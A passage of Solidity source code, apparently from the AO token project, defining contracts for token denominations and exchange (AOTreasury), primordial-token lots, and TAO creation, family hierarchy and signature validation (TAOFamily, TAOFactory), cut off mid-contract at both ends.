require (_tokenAmount > 0);
totalLots++;
// Generate lotId
bytes32 lotId = keccak256(abi.encodePacked(this, _account, totalLots));
// Make sure no one owns this lot yet
require (lots[lotId].lotOwner == address(0));
Lot storage lot = lots[lotId];
lot.lotId = lotId;
lot.multiplier = _weightedMultiplier;
lot.lotOwner = _account;
lot.tokenAmount = _tokenAmount;
ownedLots[_account].push(lotId);
// If this is the first lot, set this as the max multiplier of the account
if (ownedLots[_account].length == 1) {
ownerMaxMultiplier[_account] = lot.multiplier;
}
return lotId;
}
/**
* @dev Send `_value` Primordial tokens from `_from` to `_to`
* @param _from The address of sender
* @param _to The address of the recipient
* @param _value The amount to send
*/
function _transferPrimordialToken(address _from, address _to, uint256 _value) internal returns (bool) {
require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require (primordialBalanceOf[_from] >= _value); // Check if the sender has enough
require (primordialBalanceOf[_to].add(_value) >= primordialBalanceOf[_to]); // Check for overflows
require (!frozenAccount[_from]); // Check if sender is frozen
require (!frozenAccount[_to]); // Check if recipient is frozen
uint256 previousBalances = primordialBalanceOf[_from].add(primordialBalanceOf[_to]);
primordialBalanceOf[_from] = primordialBalanceOf[_from].sub(_value); // Subtract from the sender
primordialBalanceOf[_to] = primordialBalanceOf[_to].add(_value); // Add the same to the recipient
emit PrimordialTransfer(_from, _to, _value);
assert(primordialBalanceOf[_from].add(primordialBalanceOf[_to]) == previousBalances);
return true;
}
/**
* @dev Store burn lot information
* @param _account The address of the account
* @param _tokenAmount The amount of primordial tokens to burn
*/
function _createBurnLot(address _account, uint256 _tokenAmount) internal {
totalBurnLots++;
// Generate burn lot Id
bytes32 burnLotId = keccak256(abi.encodePacked(this, _account, totalBurnLots));
// Make sure no one owns this lot yet
require (burnLots[burnLotId].lotOwner == address(0));
BurnLot storage burnLot = burnLots[burnLotId];
burnLot.burnLotId = burnLotId;
burnLot.lotOwner = _account;
burnLot.tokenAmount = _tokenAmount;
ownedBurnLots[_account].push(burnLotId);
emit BurnLotCreation(burnLot.lotOwner, burnLot.burnLotId, burnLot.tokenAmount, ownerWeightedMultiplier[burnLot.lotOwner]);
}
/**
* @dev Get setting variables
* @return startingPrimordialMultiplier The starting multiplier used to calculate primordial token
* @return endingPrimordialMultiplier The ending multiplier used to calculate primordial token
* @return startingNetworkTokenBonusMultiplier The starting multiplier used to calculate network token bonus
* @return endingNetworkTokenBonusMultiplier The ending multiplier used to calculate network token bonus
*/
function _getSettingVariables() internal view returns (uint256, uint256, uint256, uint256) {
(uint256 startingPrimordialMultiplier,,,,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'startingPrimordialMultiplier');
(uint256 endingPrimordialMultiplier,,,,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'endingPrimordialMultiplier');
(uint256 startingNetworkTokenBonusMultiplier,,,,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'startingNetworkTokenBonusMultiplier');
(uint256 endingNetworkTokenBonusMultiplier,,,,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'endingNetworkTokenBonusMultiplier');
return (startingPrimordialMultiplier, endingPrimordialMultiplier, startingNetworkTokenBonusMultiplier, endingNetworkTokenBonusMultiplier);
}
}
/**
* @title AOTreasury
*
* The purpose of this contract is to list all of the valid denominations of AO Token and do the conversion between denominations
*/
contract AOTreasury is TheAO {
using SafeMath for uint256;
bool public paused;
bool public killed;
struct Denomination {
bytes8 name;
address denominationAddress;
}
// Mapping from denomination index to Denomination object
// The list is in order from lowest denomination to highest denomination
// i.e, denominations[1] is the base denomination
mapping (uint256 => Denomination) internal denominations;
// Mapping from denomination ID to index of denominations
mapping (bytes8 => uint256) internal denominationIndex;
uint256 public totalDenominations;
// Event to be broadcasted to public when a token exchange happens
event Exchange(address indexed account, uint256 amount, bytes8 fromDenominationName, bytes8 toDenominationName);
// Event to be broadcasted to public when emergency mode is triggered
event EscapeHatch();
/**
* @dev Constructor function
*/
constructor() public {}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
*/
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
/**
* @dev Checks if contract is currently active
*/
modifier isContractActive {
require (paused == false && killed == false);
_;
}
/**
* @dev Checks if denomination is valid
*/
modifier isValidDenomination(bytes8 denominationName) {
require (denominationIndex[denominationName] > 0 && denominations[denominationIndex[denominationName]].denominationAddress != address(0));
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev The AO set the NameTAOPosition Address
* @param _nameTAOPositionAddress The address of NameTAOPosition
*/
function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO {
require (_nameTAOPositionAddress != address(0));
nameTAOPositionAddress = _nameTAOPositionAddress;
}
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
/**
* @dev The AO pauses/unpauses contract
* @param _paused Either to pause contract or not
*/
function setPaused(bool _paused) public onlyTheAO {
paused = _paused;
}
/**
* @dev The AO triggers emergency mode.
*
*/
function escapeHatch() public onlyTheAO {
require (killed == false);
killed = true;
emit EscapeHatch();
}
/**
* @dev The AO adds denomination and the contract address associated with it
* @param denominationName The name of the denomination, i.e ao, kilo, mega, etc.
* @param denominationAddress The address of the denomination token
* @return true on success
*/
function addDenomination(bytes8 denominationName, address denominationAddress) public onlyTheAO returns (bool) {
require (denominationName.length != 0);
require (denominationAddress != address(0));
require (denominationIndex[denominationName] == 0);
totalDenominations++;
// Make sure the new denomination is higher than the previous
if (totalDenominations > 1) {
AOTokenInterface _lastDenominationToken = AOTokenInterface(denominations[totalDenominations - 1].denominationAddress);
AOTokenInterface _newDenominationToken = AOTokenInterface(denominationAddress);
require (_newDenominationToken.powerOfTen() > _lastDenominationToken.powerOfTen());
}
denominations[totalDenominations].name = denominationName;
denominations[totalDenominations].denominationAddress = denominationAddress;
denominationIndex[denominationName] = totalDenominations;
return true;
}
/**
* @dev The AO updates denomination address or activates/deactivates the denomination
* @param denominationName The name of the denomination, i.e ao, kilo, mega, etc.
* @param denominationAddress The address of the denomination token
* @return true on success
*/
function updateDenomination(bytes8 denominationName, address denominationAddress) public onlyTheAO returns (bool) {
require (denominationName.length != 0);
require (denominationIndex[denominationName] > 0);
require (denominationAddress != address(0));
uint256 _denominationNameIndex = denominationIndex[denominationName];
AOTokenInterface _newDenominationToken = AOTokenInterface(denominationAddress);
if (_denominationNameIndex > 1) {
AOTokenInterface _prevDenominationToken = AOTokenInterface(denominations[_denominationNameIndex - 1].denominationAddress);
require (_newDenominationToken.powerOfTen() > _prevDenominationToken.powerOfTen());
}
if (_denominationNameIndex < totalDenominations) {
AOTokenInterface _lastDenominationToken = AOTokenInterface(denominations[totalDenominations].denominationAddress);
require (_newDenominationToken.powerOfTen() < _lastDenominationToken.powerOfTen());
}
denominations[denominationIndex[denominationName]].denominationAddress = denominationAddress;
return true;
}
/***** PUBLIC METHODS *****/
/**
* @dev Get denomination info based on name
* @param denominationName The name to be queried
* @return the denomination short name
* @return the denomination address
* @return the denomination public name
* @return the denomination symbol
* @return the denomination num of decimals
* @return the denomination multiplier (power of ten)
*/
function getDenominationByName(bytes8 denominationName) public view returns (bytes8, address, string, string, uint8, uint256) {
require (denominationName.length != 0);
require (denominationIndex[denominationName] > 0);
require (denominations[denominationIndex[denominationName]].denominationAddress != address(0));
AOTokenInterface _ao = AOTokenInterface(denominations[denominationIndex[denominationName]].denominationAddress);
return (
denominations[denominationIndex[denominationName]].name,
denominations[denominationIndex[denominationName]].denominationAddress,
_ao.name(),
_ao.symbol(),
_ao.decimals(),
_ao.powerOfTen()
);
}
/**
* @dev Get denomination info by index
* @param index The index to be queried
* @return the denomination short name
* @return the denomination address
* @return the denomination public name
* @return the denomination symbol
* @return the denomination num of decimals
* @return the denomination multiplier (power of ten)
*/
function getDenominationByIndex(uint256 index) public view returns (bytes8, address, string, string, uint8, uint256) {
require (index > 0 && index <= totalDenominations);
require (denominations[index].denominationAddress != address(0));
AOTokenInterface _ao = AOTokenInterface(denominations[index].denominationAddress);
return (
denominations[index].name,
denominations[index].denominationAddress,
_ao.name(),
_ao.symbol(),
_ao.decimals(),
_ao.powerOfTen()
);
}
/**
* @dev Get base denomination info
* @return the denomination short name
* @return the denomination address
* @return the denomination public name
* @return the denomination symbol
* @return the denomination num of decimals
* @return the denomination multiplier (power of ten)
*/
function getBaseDenomination() public view returns (bytes8, address, string, string, uint8, uint256) {
require (totalDenominations > 1);
return getDenominationByIndex(1);
}
/**
* @dev convert token from `denominationName` denomination to base denomination,
* in this case it's similar to web3.toWei() functionality
*
* Example:
* 9.1 Kilo should be entered as 9 integerAmount and 100 fractionAmount
* 9.02 Kilo should be entered as 9 integerAmount and 20 fractionAmount
* 9.001 Kilo should be entered as 9 integerAmount and 1 fractionAmount
*
* @param integerAmount uint256 of the integer amount to be converted
* @param fractionAmount uint256 of the frational amount to be converted
* @param denominationName bytes8 name of the token denomination
* @return uint256 converted amount in base denomination from target denomination
*/
function toBase(uint256 integerAmount, uint256 fractionAmount, bytes8 denominationName) public view returns (uint256) {
if (denominationName.length > 0 &&
denominationIndex[denominationName] > 0 &&
denominations[denominationIndex[denominationName]].denominationAddress != address(0) &&
(integerAmount > 0 || fractionAmount > 0)) {
Denomination memory _denomination = denominations[denominationIndex[denominationName]];
AOTokenInterface _denominationToken = AOTokenInterface(_denomination.denominationAddress);
uint8 fractionNumDigits = _numDigits(fractionAmount);
require (fractionNumDigits <= _denominationToken.decimals());
uint256 baseInteger = integerAmount.mul(10 ** _denominationToken.powerOfTen());
if (_denominationToken.decimals() == 0) {
fractionAmount = 0;
}
return baseInteger.add(fractionAmount);
} else {
return 0;
}
}
/**
* @dev convert token from base denomination to `denominationName` denomination,
* in this case it's similar to web3.fromWei() functionality
* @param integerAmount uint256 of the base amount to be converted
* @param denominationName bytes8 name of the target token denomination
* @return uint256 of the converted integer amount in target denomination
* @return uint256 of the converted fraction amount in target denomination
*/
function fromBase(uint256 integerAmount, bytes8 denominationName) public isValidDenomination(denominationName) view returns (uint256, uint256) {
Denomination memory _denomination = denominations[denominationIndex[denominationName]];
AOTokenInterface _denominationToken = AOTokenInterface(_denomination.denominationAddress);
uint256 denominationInteger = integerAmount.div(10 ** _denominationToken.powerOfTen());
uint256 denominationFraction = integerAmount.sub(denominationInteger.mul(10 ** _denominationToken.powerOfTen()));
return (denominationInteger, denominationFraction);
}
/**
* @dev exchange `amount` token from `fromDenominationName` denomination to token in `toDenominationName` denomination
* @param amount The amount of token to exchange
* @param fromDenominationName The origin denomination
* @param toDenominationName The target denomination
*/
function exchange(uint256 amount, bytes8 fromDenominationName, bytes8 toDenominationName) public isContractActive isValidDenomination(fromDenominationName) isValidDenomination(toDenominationName) {
require (amount > 0);
Denomination memory _fromDenomination = denominations[denominationIndex[fromDenominationName]];
Denomination memory _toDenomination = denominations[denominationIndex[toDenominationName]];
AOTokenInterface _fromDenominationToken = AOTokenInterface(_fromDenomination.denominationAddress);
AOTokenInterface _toDenominationToken = AOTokenInterface(_toDenomination.denominationAddress);
require (_fromDenominationToken.whitelistBurnFrom(msg.sender, amount));
require (_toDenominationToken.mintToken(msg.sender, amount));
emit Exchange(msg.sender, amount, fromDenominationName, toDenominationName);
}
/**
* @dev Return the highest possible denomination given a base amount
* @param amount The amount to be converted
* @return the denomination short name
* @return the denomination address
* @return the integer amount at the denomination level
* @return the fraction amount at the denomination level
* @return the denomination public name
* @return the denomination symbol
* @return the denomination num of decimals
* @return the denomination multiplier (power of ten)
*/
function toHighestDenomination(uint256 amount) public view returns (bytes8, address, uint256, uint256, string, string, uint8, uint256) {
uint256 integerAmount;
uint256 fractionAmount;
uint256 index;
for (uint256 i=totalDenominations; i>0; i--) {
Denomination memory _denomination = denominations[i];
(integerAmount, fractionAmount) = fromBase(amount, _denomination.name);
if (integerAmount > 0) {
index = i;
break;
}
}
require (index > 0 && index <= totalDenominations);
require (integerAmount > 0 || fractionAmount > 0);
require (denominations[index].denominationAddress != address(0));
AOTokenInterface _ao = AOTokenInterface(denominations[index].denominationAddress);
return (
denominations[index].name,
denominations[index].denominationAddress,
integerAmount,
fractionAmount,
_ao.name(),
_ao.symbol(),
_ao.decimals(),
_ao.powerOfTen()
);
}
/***** INTERNAL METHOD *****/
/**
* @dev count num of digits
* @param number uint256 of the nuumber to be checked
* @return uint8 num of digits
*/
function _numDigits(uint256 number) internal pure returns (uint8) {
uint8 digits = 0;
while(number != 0) {
number = number.div(10);
digits++;
}
return digits;
}
}
contract Pathos is TAOCurrency {
/**
* @dev Constructor function
*/
constructor(uint256 initialSupply, string tokenName, string tokenSymbol)
TAOCurrency(initialSupply, tokenName, tokenSymbol) public {}
}
contract Ethos is TAOCurrency {
/**
* @dev Constructor function
*/
constructor(uint256 initialSupply, string tokenName, string tokenSymbol)
TAOCurrency(initialSupply, tokenName, tokenSymbol) public {}
}
/**
* @title TAOController
*/
contract TAOController {
NameFactory internal _nameFactory;
NameTAOPosition internal _nameTAOPosition;
/**
* @dev Constructor function
*/
constructor(address _nameFactoryAddress, address _nameTAOPositionAddress) public {
_nameFactory = NameFactory(_nameFactoryAddress);
_nameTAOPosition = NameTAOPosition(_nameTAOPositionAddress);
}
/**
* @dev Check if `_taoId` is a TAO
*/
modifier isTAO(address _taoId) {
require (AOLibrary.isTAO(_taoId));
_;
}
/**
* @dev Check if `_nameId` is a Name
*/
modifier isName(address _nameId) {
require (AOLibrary.isName(_nameId));
_;
}
/**
* @dev Check if `_id` is a Name or a TAO
*/
modifier isNameOrTAO(address _id) {
require (AOLibrary.isName(_id) || AOLibrary.isTAO(_id));
_;
}
/**
* @dev Check is msg.sender address is a Name
*/
modifier senderIsName() {
require (_nameFactory.ethAddressToNameId(msg.sender) != address(0));
_;
}
/**
* @dev Check if msg.sender is the current advocate of TAO ID
*/
modifier onlyAdvocate(address _id) {
require (_nameTAOPosition.senderIsAdvocate(msg.sender, _id));
_;
}
}
// Store the name lookup for a Name/TAO
/**
* @title TAOFamily
*/
contract TAOFamily is TAOController {
using SafeMath for uint256;
address public taoFactoryAddress;
TAOFactory internal _taoFactory;
struct Child {
address taoId;
bool approved; // If false, then waiting for parent TAO approval
bool connected; // If false, then parent TAO want to remove this child TAO
}
struct Family {
address taoId;
address parentId; // The parent of this TAO ID (could be a Name or TAO)
uint256 childMinLogos;
mapping (uint256 => Child) children;
mapping (address => uint256) childInternalIdLookup;
uint256 totalChildren;
uint256 childInternalId;
}
mapping (address => Family) internal families;
// Event to be broadcasted to public when Advocate updates min required Logos to create a child TAO
event UpdateChildMinLogos(address indexed taoId, uint256 childMinLogos, uint256 nonce);
// Event to be broadcasted to public when a TAO adds a child TAO
event AddChild(address indexed taoId, address childId, bool approved, bool connected, uint256 nonce);
// Event to be broadcasted to public when a TAO approves a child TAO
event ApproveChild(address indexed taoId, address childId, uint256 nonce);
// Event to be broadcasted to public when a TAO removes a child TAO
event RemoveChild(address indexed taoId, address childId, uint256 nonce);
/**
* @dev Constructor function
*/
constructor(address _nameFactoryAddress, address _nameTAOPositionAddress, address _taoFactoryAddress)
TAOController(_nameFactoryAddress, _nameTAOPositionAddress) public {
taoFactoryAddress = _taoFactoryAddress;
_taoFactory = TAOFactory(_taoFactoryAddress);
}
/**
* @dev Check if calling address is Factory
*/
modifier onlyFactory {
require (msg.sender == taoFactoryAddress);
_;
}
/***** PUBLIC METHODS *****/
/**
* @dev Check whether or not a TAO ID exist in the list of families
* @param _id The ID to be checked
* @return true if yes, false otherwise
*/
function isExist(address _id) public view returns (bool) {
return families[_id].taoId != address(0);
}
/**
* @dev Store the Family info for a TAO
* @param _id The ID of the TAO
* @param _parentId The parent ID of this TAO
* @param _childMinLogos The min required Logos to create a TAO
* @return true on success
*/
function add(address _id, address _parentId, uint256 _childMinLogos)
public
isTAO(_id)
isNameOrTAO(_parentId)
onlyFactory returns (bool) {
require (!isExist(_id));
Family storage _family = families[_id];
_family.taoId = _id;
_family.parentId = _parentId;
_family.childMinLogos = _childMinLogos;
return true;
}
/**
* @dev Get Family info given a TAO ID
* @param _id The ID of the TAO
* @return the parent ID of this TAO (could be a Name/TAO)
* @return the min required Logos to create a child TAO
* @return the total child TAOs count
*/
function getFamilyById(address _id) public view returns (address, uint256, uint256) {
require (isExist(_id));
Family memory _family = families[_id];
return (
_family.parentId,
_family.childMinLogos,
_family.totalChildren
);
}
/**
* @dev Set min required Logos to create a child from this TAO
* @param _childMinLogos The min Logos to set
* @return the nonce for this transaction
*/
function updateChildMinLogos(address _id, uint256 _childMinLogos)
public
isTAO(_id)
senderIsName()
onlyAdvocate(_id) {
require (isExist(_id));
Family storage _family = families[_id];
_family.childMinLogos = _childMinLogos;
uint256 _nonce = _taoFactory.incrementNonce(_id);
require (_nonce > 0);
emit UpdateChildMinLogos(_id, _family.childMinLogos, _nonce);
}
/**
* @dev Check if `_childId` is a child TAO of `_taoId`
* @param _taoId The TAO ID to be checked
* @param _childId The child TAO ID to check
* @return true if yes. Otherwise return false.
*/
function isChild(address _taoId, address _childId) public view returns (bool) {
require (isExist(_taoId) && isExist(_childId));
Family storage _family = families[_taoId];
Family memory _childFamily = families[_childId];
uint256 _childInternalId = _family.childInternalIdLookup[_childId];
return (
_childInternalId > 0 &&
_family.children[_childInternalId].approved &&
_family.children[_childInternalId].connected &&
_childFamily.parentId == _taoId
);
}
/**
* @dev Add child TAO
* @param _taoId The TAO ID to be added to
* @param _childId The ID to be added to as child TAO
*/
function addChild(address _taoId, address _childId)
public
isTAO(_taoId)
isTAO(_childId)
onlyFactory returns (bool) {
require (!isChild(_taoId, _childId));
Family storage _family = families[_taoId];
require (_family.childInternalIdLookup[_childId] == 0);
_family.childInternalId++;
_family.childInternalIdLookup[_childId] = _family.childInternalId;
uint256 _nonce = _taoFactory.incrementNonce(_taoId);
require (_nonce > 0);
Child storage _child = _family.children[_family.childInternalId];
_child.taoId = _childId;
// If _taoId's Advocate == _childId's Advocate, then the child is automatically approved and connected
// Otherwise, child TAO needs parent TAO approval
address _taoAdvocate = _nameTAOPosition.getAdvocate(_taoId);
address _childAdvocate = _nameTAOPosition.getAdvocate(_childId);
if (_taoAdvocate == _childAdvocate) {
_family.totalChildren++;
_child.approved = true;
_child.connected = true;
Family storage _childFamily = families[_childId];
_childFamily.parentId = _taoId;
}
emit AddChild(_taoId, _childId, _child.approved, _child.connected, _nonce);
return true;
}
/**
* @dev Advocate of `_taoId` approves child `_childId`
* @param _taoId The TAO ID to be checked
* @param _childId The child TAO ID to be approved
*/
function approveChild(address _taoId, address _childId)
public
isTAO(_taoId)
isTAO(_childId)
senderIsName()
onlyAdvocate(_taoId) {
require (isExist(_taoId) && isExist(_childId));
Family storage _family = families[_taoId];
Family storage _childFamily = families[_childId];
uint256 _childInternalId = _family.childInternalIdLookup[_childId];
require (_childInternalId > 0 &&
!_family.children[_childInternalId].approved &&
!_family.children[_childInternalId].connected
);
_family.totalChildren++;
Child storage _child = _family.children[_childInternalId];
_child.approved = true;
_child.connected = true;
_childFamily.parentId = _taoId;
uint256 _nonce = _taoFactory.incrementNonce(_taoId);
require (_nonce > 0);
emit ApproveChild(_taoId, _childId, _nonce);
}
/**
* @dev Advocate of `_taoId` removes child `_childId`
* @param _taoId The TAO ID to be checked
* @param _childId The child TAO ID to be removed
*/
function removeChild(address _taoId, address _childId)
public
isTAO(_taoId)
isTAO(_childId)
senderIsName()
onlyAdvocate(_taoId) {
require (isChild(_taoId, _childId));
Family storage _family = families[_taoId];
_family.totalChildren--;
Child storage _child = _family.children[_family.childInternalIdLookup[_childId]];
_child.connected = false;
_family.childInternalIdLookup[_childId] = 0;
Family storage _childFamily = families[_childId];
_childFamily.parentId = address(0);
uint256 _nonce = _taoFactory.incrementNonce(_taoId);
require (_nonce > 0);
emit RemoveChild(_taoId, _childId, _nonce);
}
/**
* @dev Get list of child TAO IDs
* @param _taoId The TAO ID to be checked
* @param _from The starting index (start from 1)
* @param _to The ending index, (max is childInternalId)
* @return list of child TAO IDs
*/
function getChildIds(address _taoId, uint256 _from, uint256 _to) public view returns (address[]) {
require (isExist(_taoId));
Family storage _family = families[_taoId];
require (_from >= 1 && _to >= _from && _family.childInternalId >= _to);
address[] memory _childIds = new address[](_to.sub(_from).add(1));
for (uint256 i = _from; i <= _to; i++) {
_childIds[i.sub(_from)] = _family.children[i].approved && _family.children[i].connected ? _family.children[i].taoId : address(0);
}
return _childIds;
}
}
// Store TAO's child information
/**
* @title TAOFactory
*
* The purpose of this contract is to allow node to create TAO
*/
contract TAOFactory is TheAO, TAOController {
using SafeMath for uint256;
address[] internal taos;
address public taoFamilyAddress;
address public nameTAOVaultAddress;
address public settingTAOId;
NameTAOLookup internal _nameTAOLookup;
TAOFamily internal _taoFamily;
AOSetting internal _aoSetting;
Logos internal _logos;
// Mapping from TAO ID to its nonce
mapping (address => uint256) public nonces;
// Event to be broadcasted to public when Advocate creates a TAO
event CreateTAO(address indexed ethAddress, address advocateId, address taoId, uint256 index, address parent, uint8 parentTypeId);
/**
* @dev Constructor function
*/
constructor(address _nameFactoryAddress, address _nameTAOLookupAddress, address _nameTAOPositionAddress, address _aoSettingAddress, address _logosAddress, address _nameTAOVaultAddress)
TAOController(_nameFactoryAddress, _nameTAOPositionAddress) public {
nameTAOPositionAddress = _nameTAOPositionAddress;
nameTAOVaultAddress = _nameTAOVaultAddress;
_nameTAOLookup = NameTAOLookup(_nameTAOLookupAddress);
_nameTAOPosition = NameTAOPosition(_nameTAOPositionAddress);
_aoSetting = AOSetting(_aoSettingAddress);
_logos = Logos(_logosAddress);
}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
*/
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
/**
* @dev Checks if calling address can update TAO's nonce
*/
modifier canUpdateNonce {
require (msg.sender == nameTAOPositionAddress || msg.sender == taoFamilyAddress);
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
/**
* @dev The AO set the TAOFamily Address
* @param _taoFamilyAddress The address of TAOFamily
*/
function setTAOFamilyAddress(address _taoFamilyAddress) public onlyTheAO {
require (_taoFamilyAddress != address(0));
taoFamilyAddress = _taoFamilyAddress;
_taoFamily = TAOFamily(taoFamilyAddress);
}
/**
* @dev The AO set settingTAOId (The TAO ID that holds the setting values)
* @param _settingTAOId The address of settingTAOId
*/
function setSettingTAOId(address _settingTAOId) public onlyTheAO isTAO(_settingTAOId) {
settingTAOId = _settingTAOId;
}
/***** PUBLIC METHODS *****/
/**
* @dev Increment the nonce of a TAO
* @param _taoId The ID of the TAO
* @return current nonce
*/
function incrementNonce(address _taoId) public canUpdateNonce returns (uint256) {
// Check if _taoId exist
require (nonces[_taoId] > 0);
nonces[_taoId]++;
return nonces[_taoId];
}
/**
* @dev Name creates a TAO
* @param _name The name of the TAO
* @param _datHash The datHash of this TAO
* @param _database The database for this TAO
* @param _keyValue The key/value pair to be checked on the database
* @param _contentId The contentId related to this TAO
* @param _parentId The parent of this TAO (has to be a Name or TAO)
* @param _childMinLogos The min required Logos to create a child from this TAO
*/
function createTAO(
string _name,
string _datHash,
string _database,
string _keyValue,
bytes32 _contentId,
address _parentId,
uint256 _childMinLogos
) public senderIsName() isNameOrTAO(_parentId) {
require (bytes(_name).length > 0);
require (!_nameTAOLookup.isExist(_name));
address _nameId = _nameFactory.ethAddressToNameId(msg.sender);
uint256 _parentCreateChildTAOMinLogos;
uint256 _createChildTAOMinLogos = _getSettingVariables();
if (AOLibrary.isTAO(_parentId)) {
(, _parentCreateChildTAOMinLogos,) = _taoFamily.getFamilyById(_parentId);
}
if (_parentCreateChildTAOMinLogos > 0) {
require (_logos.sumBalanceOf(_nameId) >= _parentCreateChildTAOMinLogos);
} else if (_createChildTAOMinLogos > 0) {
require (_logos.sumBalanceOf(_nameId) >= _createChildTAOMinLogos);
}
// Create the TAO
address taoId = new TAO(_name, _nameId, _datHash, _database, _keyValue, _contentId, nameTAOVaultAddress);
// Increment the nonce
nonces[taoId]++;
// Store the name lookup information
require (_nameTAOLookup.add(_name, taoId, TAO(_parentId).name(), 0));
// Store the Advocate/Listener/Speaker information
require (_nameTAOPosition.add(taoId, _nameId, _nameId, _nameId));
require (_taoFamily.add(taoId, _parentId, _childMinLogos));
taos.push(taoId);
emit CreateTAO(msg.sender, _nameId, taoId, taos.length.sub(1), _parentId, TAO(_parentId).typeId());
if (AOLibrary.isTAO(_parentId)) {
require (_taoFamily.addChild(_parentId, taoId));
}
}
/**
* @dev Get TAO information
* @param _taoId The ID of the TAO to be queried
* @return The name of the TAO
* @return The origin Name ID that created the TAO
* @return The name of Name that created the TAO
* @return The datHash of the TAO
* @return The database of the TAO
* @return The keyValue of the TAO
* @return The contentId of the TAO
* @return The typeId of the TAO
*/
function getTAO(address _taoId) public view returns (string, address, string, string, string, string, bytes32, uint8) {
TAO _tao = TAO(_taoId);
return (
_tao.name(),
_tao.originId(),
Name(_tao.originId()).name(),
_tao.datHash(),
_tao.database(),
_tao.keyValue(),
_tao.contentId(),
_tao.typeId()
);
}
/**
* @dev Get total TAOs count
* @return total TAOs count
*/
function getTotalTAOsCount() public view returns (uint256) {
return taos.length;
}
/**
* @dev Get list of TAO IDs
* @param _from The starting index
* @param _to The ending index
* @return list of TAO IDs
*/
function getTAOIds(uint256 _from, uint256 _to) public view returns (address[]) {
require (_from >= 0 && _to >= _from && taos.length > _to);
address[] memory _taos = new address[](_to.sub(_from).add(1));
for (uint256 i = _from; i <= _to; i++) {
_taos[i.sub(_from)] = taos[i];
}
return _taos;
}
/**
* @dev Check whether or not the signature is valid
* @param _data The signed string data
* @param _nonce The signed uint256 nonce (should be TAO's current nonce + 1)
* @param _validateAddress The ETH address to be validated (optional)
* @param _name The Name of the TAO
* @param _signatureV The V part of the signature
* @param _signatureR The R part of the signature
* @param _signatureS The S part of the signature
* @return true if valid. false otherwise
* @return The name of the Name that created the signature
* @return The Position of the Name that created the signature.
* 0 == unknown. 1 == Advocate. 2 == Listener. 3 == Speaker
*/
function validateTAOSignature(
string _data,
uint256 _nonce,
address _validateAddress,
string _name,
uint8 _signatureV,
bytes32 _signatureR,
bytes32 _signatureS
) public isTAO(_getTAOIdByName(_name)) view returns (bool, string, uint256) {
address _signatureAddress = AOLibrary.getValidateSignatureAddress(address(this), _data, _nonce, _signatureV, _signatureR, _signatureS);
if (_isTAOSignatureAddressValid(_validateAddress, _signatureAddress, _getTAOIdByName(_name), _nonce)) {
return (true, Name(_nameFactory.ethAddressToNameId(_signatureAddress)).name(), _nameTAOPosition.determinePosition(_signatureAddress, _getTAOIdByName(_name)));
} else {
return (false, "", 0);
}
}
/***** INTERNAL METHOD *****/
/**
* @dev Check whether or not the address recovered from the signature is valid
* @param _validateAddress The ETH address to be validated (optional)
* @param _signatureAddress The address recovered from the signature
* @param _taoId The ID of the TAO
* @param _nonce The signed uint256 nonce
* @return true if valid. false otherwise
*/
function _isTAOSignatureAddressValid(
address _validateAddress,
address _signatureAddress,
address _taoId,
uint256 _nonce
) internal view returns (bool) {
if (_validateAddress != address(0)) {
return (_nonce == nonces[_taoId].add(1) &&
_signatureAddress == _validateAddress &&
_nameTAOPosition.senderIsPosition(_validateAddress, _taoId)
);
} else {
return (
_nonce == nonces[_taoId].add(1) &&
_nameTAOPosition.senderIsPosition(_signatureAddress, _taoId)
);
}
}
/**
* @dev Internal function to get the TAO Id by name
* @param _name The name of the TAO
* @return the TAO ID
*/
function _getTAOIdByName(string _name) internal view returns (address) {
return _nameTAOLookup.getAddressByName(_name);
}
/**
* @dev Get setting variables
* @return createChildTAOMinLogos The minimum required Logos to create a TAO
*/
function _getSettingVariables() internal view returns (uint256) {
(uint256 createChildTAOMinLogos,,,,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'createChildTAOMinLogos');
return createChildTAOMinLogos;
}
}
/**
* @title NameTAOPosition
*/
contract NameTAOPosition is TheAO {
address public nameFactoryAddress;
address public taoFactoryAddress;
NameFactory internal _nameFactory;
TAOFactory internal _taoFactory;
struct Position {
address advocateId;
address listenerId;
address speakerId;
bool created;
}
mapping (address => Position) internal positions;
// Event to be broadcasted to public when current Advocate of TAO sets New Advocate
event SetAdvocate(address indexed taoId, address oldAdvocateId, address newAdvocateId, uint256 nonce);
// Event to be broadcasted to public when current Advocate of Name/TAO sets New Listener
event SetListener(address indexed taoId, address oldListenerId, address newListenerId, uint256 nonce);
// Event to be broadcasted to public when current Advocate of Name/TAO sets New Speaker
event SetSpeaker(address indexed taoId, address oldSpeakerId, address newSpeakerId, uint256 nonce);
/**
* @dev Constructor function
*/
constructor(address _nameFactoryAddress) public {
nameFactoryAddress = _nameFactoryAddress;
_nameFactory = NameFactory(_nameFactoryAddress);
nameTAOPositionAddress = address(this);
}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
*/
